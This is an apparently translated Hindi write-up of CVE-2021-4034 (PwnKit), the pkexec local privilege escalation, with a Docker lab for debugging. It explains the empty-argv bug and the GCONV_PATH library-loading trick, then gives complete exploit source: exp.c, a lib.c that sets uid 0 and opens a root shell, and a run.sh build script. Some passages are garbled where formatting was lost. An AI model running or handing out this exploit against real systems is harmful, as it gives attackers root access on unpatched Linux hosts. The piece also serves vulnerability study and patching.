
CVE-2021-4034 (PolKit pkexec स्थानीय विशेषाधिकार वृद्धि) के लिए विस्तृत लेख और प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, जिसमें व्यावहारिक विश्लेषण और डिबगिंग के लिए एक Docker लैब वातावरण शामिल है।
[toc]
भेद्यता आईडी: CVE-2021-4034
भेद्यता स्कोर:
भेद्यता उत्पाद: linux PolKit (pkexec)
प्रभावित संस्करण: 2009 से वर्तमान तक के संस्करण (वर्तमान 0.105) संदर्भ: http://its.dlut.edu.cn/info/1054/78309.htm
उपयोग शर्तें: linux स्थानीय; pkexec suid फ़ाइल है और इसमें निष्पादन अनुमति है
स्रोत कोड प्राप्त करें: apt source policykit-1
या https://launchpad.net/ubuntu/bionic/+package/policykit-1
docker वातावरण: chenaotian/cve-2021-4034
मेरे द्वारा निर्मित docker, प्रदान करता है:
pkexec जिसे स्रोत कोड से डीबग किया जा सकता हैसब कुछ /root/ निर्देशिका में है:

docker प्रारंभ करें:
docker run -d -ti --rm -h cvedebug --name cvedebug --cap-add=SYS_PTRACE chenaotian/cve-2021-4034:latest /bin/bash
exp का परीक्षण करें:
cd ~/exp/CVE-2021-4034/
./run.sh
su test
./exp
whoami
भेद्यता polkit के अंतर्गत pkexec कमांड में होती है। pkexec और sudo दोनों ऐसे उपकरण हैं जो हमें किसी अन्य उपयोगकर्ता (आमतौर पर root) के रूप में कमांड निष्पादित करने की अनुमति देते हैं। dpkg कमांड से pkexec का पैकेज देखा जा सकता है:
dpkg -S /usr/bin/pkexec

फिर स्रोत पैकेज प्राप्त करें (मेरे docker में भी है), और फिर स्रोत पैकेज के अनुसार स्वयं एक डीबग करने योग्य संस्करण संकलित करें ताकि डीबगिंग सुविधाजनक हो।
भेद्यता ट्रिगर सिद्धांत बहुत सरल है
/polkit-0.105/src/programs/pkexec.c : 386 main
int
main (int argc, char *argv[])
{
··· ···
··· ···
/* 这段的意思就是,循环遍历用户输入参数,根据输入的不同参数设置值
* 但问题在于,他循环遍历的起点是1,没有考虑用户没有输入任何参数的情况
*/
for (n = 1; n < (guint) argc; n++)
{
if (strcmp (argv[n], "--help") == 0)
{
opt_show_help = TRUE;
}
··· ···
else //如果是无法识别的参数则跳出循环,这里意味着该参数是想要执行的命令
{
break;
}
}
··· ···
g_assert (argv[argc] == NULL);
path = g_strdup (argv[n]); //获取执行命令具体字符串
if (path == NULL)
{
···
}
if (path[0] != '/')
{
/* g_find_program_in_path() is not suspectible to attacks via the environment */
//该函数会根据PATH环境变量寻找要执行命令的绝对地址
s = g_find_program_in_path (path);
if (s == NULL)
{
···
}
g_free (path);
argv[n] = path = s;//把获取到的绝对地址修改回命令行参数
}
··· ···
··· ···
कोड में मेरी टिप्पणियों के अनुसार विश्लेषण:
pkexec निष्पादित करना है) प्रदान करेंगे-- से शुरू नहीं होने वाला कमांड लाइन तर्क मिलता है, तो इसे निष्पादित किए जाने वाले कमांड के रूप में माना जाता है, और लूप से बाहर निकलकर नीचे के तर्क पर जाता है।g_find_program_in_path फ़ंक्शन कॉल करता है। g_find_program_in_path फ़ंक्शन PATH पर्यावरण चर के अनुसार दिए गए तर्क (कमांड) का पूर्ण पथ ढूंढता है। उदाहरण के लिए, cat देने पर /bin/cat लौटाता है।यह समझना आसान है, लेकिन समस्या यह है:
linux बाइनरी प्रोग्राम चलते समय कमांड लाइन तर्क argv[] और पर्यावरण चर environ[] को स्टैक के नीचे रखता है, और argv[] और environ[] आपस में जुड़े होते हैं। इसमें argv[] का अंतिम तत्व null होता है।

यदि pkexec कमांड लाइन से बिना किसी अन्य तर्क के शुरू किया जाता है, तो argv[0] "pkexec" होगा और argv[1] \x00 होगा, इसमें कोई समस्या नहीं है। लेकिन यदि execve फ़ंक्शन से pkexec बिना किसी अन्य तर्क के शुरू किया जाता है, तो होगा और पर्यावरण चर में पहुँच जाएगा! जब पढ़ा जाता है, तो यह जाकर पढ़ेगा
तो इसका क्या प्रभाव पड़ेगा? जब execve के साथ बिना किसी अन्य तर्क के शुरू किया जाता है, तो argv[] की लंबाई 0 होती है, और argv[1] environ[0] होता है। इस प्रकार ऊपर विश्लेषित तर्क बन जाता है: पहले पर्यावरण चर का मान प्राप्त करें, और PATH पर्यावरण चर से उसका पूर्ण पथ खोजें। यदि मिल जाए तो पहले पर्यावरण चर में वापस लिखें। तो उपयोग का तरीका इस प्रकार है:
सबसे पहले यह स्पष्ट करना आवश्यक है कि pkexec एक विशेषाधिकार (suid) फ़ाइल है:

विशेषाधिकार फ़ाइल में पर्यावरण चर का उपयोग करके कुछ कैसे करें? पहले एक छोटा सा विवरण समझें:
linux का डायनेमिक लिंकर ld-linux-x86-64.so.2 विशेषाधिकार प्रोग्राम निष्पादित होने पर संवेदनशील पर्यावरण चर साफ़ करता है:
फ़ंक्शन _dl_non_dynamic_init: glibc-2.27/elf/dl-support.c : 307
void
_dl_non_dynamic_init (void)
{
··· ···
··· ···
if (__libc_enable_secure) //特权模式的情况下
{
static const char unsecure_envvars[] =
UNSECURE_ENVVARS
#ifdef EXTRA_UNSECURE_ENVVARS
EXTRA_UNSECURE_ENVVARS
#endif
;
const char *cp = unsecure_envvars;
//循环将危险环境变量列表中的环境变量全部清空(unset)
while (cp < unsecure_envvars + sizeof (unsecure_envvars))
{
__unsetenv (cp);
cp = (const char *) __rawmemchr (cp, '\0') + 1;
}
#if !HAVE_TUNABLES
if (__access ("/etc/suid-debug", F_OK) != 0)
__unsetenv ("MALLOC_CHECK_");
#endif
}
··· ···
··· ···
}
खतरनाक पर्यावरण चर सूची UNSECURE_ENVVARS निम्नानुसार परिभाषित है:
glibc-2.27/sysdeps/generic/unsecvars.h : 10
#define GLIBC_TUNABLES_ENVVAR "GLIBC_TUNABLES\0"
#define UNSECURE_ENVVARS \
"GCONV_PATH\0" \
"GETCONF_DIR\0" \
GLIBC_TUNABLES_ENVVAR \
"HOSTALIASES\0" \
"LD_AUDIT\0" \
"LD_DEBUG\0" \
"LD_DEBUG_OUTPUT\0" \
"LD_DYNAMIC_WEAK\0" \
"LD_HWCAP_MASK\0" \
"LD_LIBRARY_PATH\0" \
"LD_ORIGIN_PATH\0" \
"LD_PRELOAD\0" \
"LD_PROFILE\0" \
"LD_SHOW_AUXV\0" \
"LD_USE_LOAD_BIAS\0" \
"LOCALDOMAIN\0" \
"LOCPATH\0" \
"MALLOC_TRACE\0" \
"NIS_PATH\0" \
"NLSPATH\0" \
"RESOLV_HOST_CONF\0" \
"RES_OPTIONS\0" \
"TMPDIR\0" \
"TZDIR\0"
जब प्रोग्राम को विशेषाधिकार फ़ाइल (suid) के रूप में पहचाना जाता है, तो उपरोक्त पर्यावरण चर साफ़ कर दिए जाते हैं। देखा जा सकता है कि अधिकांश LD_ श्रृंखला के पर्यावरण चर हैं, जिनमें डायनेमिक लाइब्रेरी लोडिंग पथ निर्दिष्ट करने की क्षमता होती है। यह निम्न-अनुमति वाले उपयोगकर्ताओं को इन पर्यावरण चरों के माध्यम से suid प्रोग्राम को अविश्वसनीय so लोड करने, दुर्भावनापूर्ण कोड निष्पादन और फिर विशेषाधिकार वृद्धि से रोकने के लिए है।
और इस भेद्यता परिदृश्य में, हमारे पास एक बार किसी भी पर्यावरण चर को लिखने का अवसर है। हमारी उपयोग रणनीति उन पर्यावरण चरों में से कुछ ढूंढने की कोशिश करना है जो सामान्यतः suid प्रोग्राम में नहीं भेजे जा सकते।
चूंकि poc पहले ही प्रकाशित हो चुका है, यहाँ सीधे उत्तर देखना बहुत सरल है। यहाँ arthepsy का poc संदर्भित है। सामग्री बहुत सरल है, लेकिन इस poc से पता चलता है कि उपयोग में महत्वपूर्ण पर्यावरण चर GCONV_PATH है। यह वास्तव में उपरोक्त खतरनाक पर्यावरण चर सूची का एक सदस्य है, और पहला भी!
GCONV_PATH और iconv_open() फ़ंक्शन के बारे में:
iconv_open()फ़ंक्शन एक रूपांतरण डिस्क्रिप्टर आवंटित करता है, जो वर्ण अनुक्रम को एन्कोडिंगfromcodeसे एन्कोडिंगtcodeमें परिवर्तित करता है। रूपांतरण डिस्क्रिप्टर में रूपांतरण स्थिति होती है।iconv_open()फ़ंक्शन पहले सिस्टम द्वारा प्रदान की गईgconv-modulesफ़ाइल ढूंढता है, जिसमें विभिन्न वर्ण सेटों की संबंधित जानकारी के संग्रहण पथ होते हैं, प्रत्येक वर्ण सेट की जानकारी एक .so फ़ाइल में संग्रहीत होती है। फिरgconv-modulesफ़ाइल के निर्देशों के अनुसार संबंधित .so फ़ाइल को लिंक करके विशिष्ट कार्य करता है। यदि पर्यावरण चरGCONV_PATHमौजूद है, तोiconv_open()फ़ंक्शनGCONV_PATHके अनुसारgconv-modulesफ़ाइल ढूंढता है, और बाद के कार्य अपरिवर्तित रहते हैं।
अर्थात, यहाँ GCONV_PATH पर्यावरण चर का भी LD_LIBRARY_PATH के समान कार्य है। यह iconv_open() फ़ंक्शन को so लाइब्रेरी फ़ाइल खोजने के लिए निर्दिष्ट कर सकता है। यदि हम GCONV_PATH को गलत साबित कर सकें और फिर gconv-modules को गलत साबित करें, और अंत में एक गलत so बनाएँ, तो हम किसी भी so को लोड कर सकते हैं और कोई भी कोड निष्पादित कर सकते हैं।
मोटा तरीका इस प्रकार है:
GCONV_PATH=. नामक एक निर्देशिका बनाएँ
GCONV_PATH=. निर्देशिका में pwnkitdir नामक एक फ़ाइल बनाएँ, जिसमें x अनुमति हो
pwnkitdir नामक एक निर्देशिका बनाएँ
pwnkit निर्देशिका में gconv-modules फ़ाइल बनाएँ, और प्रारूप के अनुसार निम्नलिखित सामग्री लिखें:
module UTF-8// PWNKIT// pwnkit 1
pwnkit निर्देशिका में दुर्भावनापूर्ण so pwnkit.so रखें, जिसमें शेल प्राप्त करने का कोड हो।
संबंधित पर्यावरण चर सेट करें
pwnkitdirPATH=GCONV_PATH=. ताकि g_find_program_in_path फ़ंक्शन द्वारा संयोजित पथ हो, जो बिल्कुल पर्यावरण चर का प्रारूप है, और निर्देशिका मौजूद है, फ़ाइल भी मौजूद है।फिर यह सफल हो जाता है, विस्तृत exp निम्नलिखित है:
exp.c
#include <stdio.h>
#include <unistd.h>
int main(int argc, char **argv)
{
char * const a_argv [] = { NULL};
char * const a_envp[] = {
"pwnkitdir",
"PATH=GCONV_PATH=.",
"CHARSET=PWNKIT",
"SHELL=xxx",
NULL
};
execve("/usr/local/bin/pkexec", a_argv, a_envp); //注意路径根据实际情况修改哦
}
lib.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
static void __attribute__ ((constructor)) exp(void);
static void exp(void)
{
setuid(0); seteuid(0); setgid(0); setegid(0);
static char *a_argv[] = { "sh", NULL };
static char *a_envp[] = { "PATH=/bin:/usr/bin:/sbin", NULL };
execve("/bin/sh", a_argv, a_envp);
}
run.sh
mkdir 'GCONV_PATH=.'
touch 'GCONV_PATH=./pwnkitdir'
chmod 777 'GCONV_PATH=./pwnkitdir'
mkdir pwnkitdir
touch pwnkitdir/gconv-modules
echo "module UTF-8// PWNKIT// pwnkit 1" >> pwnkitdir/gconv-modules
gcc -fPIC -shared lib.c -o pwnkitdir/pwnkit.so
gcc exp.c -o exp
उपयोग सफल:

नवीनतम संस्करण में अपग्रेड करें
भेद्यता प्रकटीकरण: https://blog.qualys.com/vulnerabilities-threat-research/2022/01/25/pwnkit-local-privilege-escalation-vulnerability-discovered-in-polkits-pkexec-cve-2021-4034
arthepsy‘s poc: https://github.com/arthepsy/CVE-2021-4034
argv[0]\x00argv[1]argv[1]environ[0]कमांड लाइन से सीधे pkexec शुरू करने पर argc 1 होता है, argv[0] pkexec का पथ होता है:

execve फ़ंक्शन से pkexec शुरू करने पर argc 0 होता है:

GCONV_PATH=./pwnkitdir./pwnkitdirGCONV_PATH=./pwnkitdirCHARSET=PWNKIT पर्यावरण चर, जो iconv_open तक पहुंचने के रास्ते में उपयोग होता है, gconv-modules से so खोजने के लिए।SHELL=xxx, जो iconv_open तक पहुंचने के रास्ते में उपयोग होता हैexecve के माध्यम से pkexec को खाली तर्कों और ऊपर सेट किए गए पर्यावरण चरों के साथ प्रारंभ करें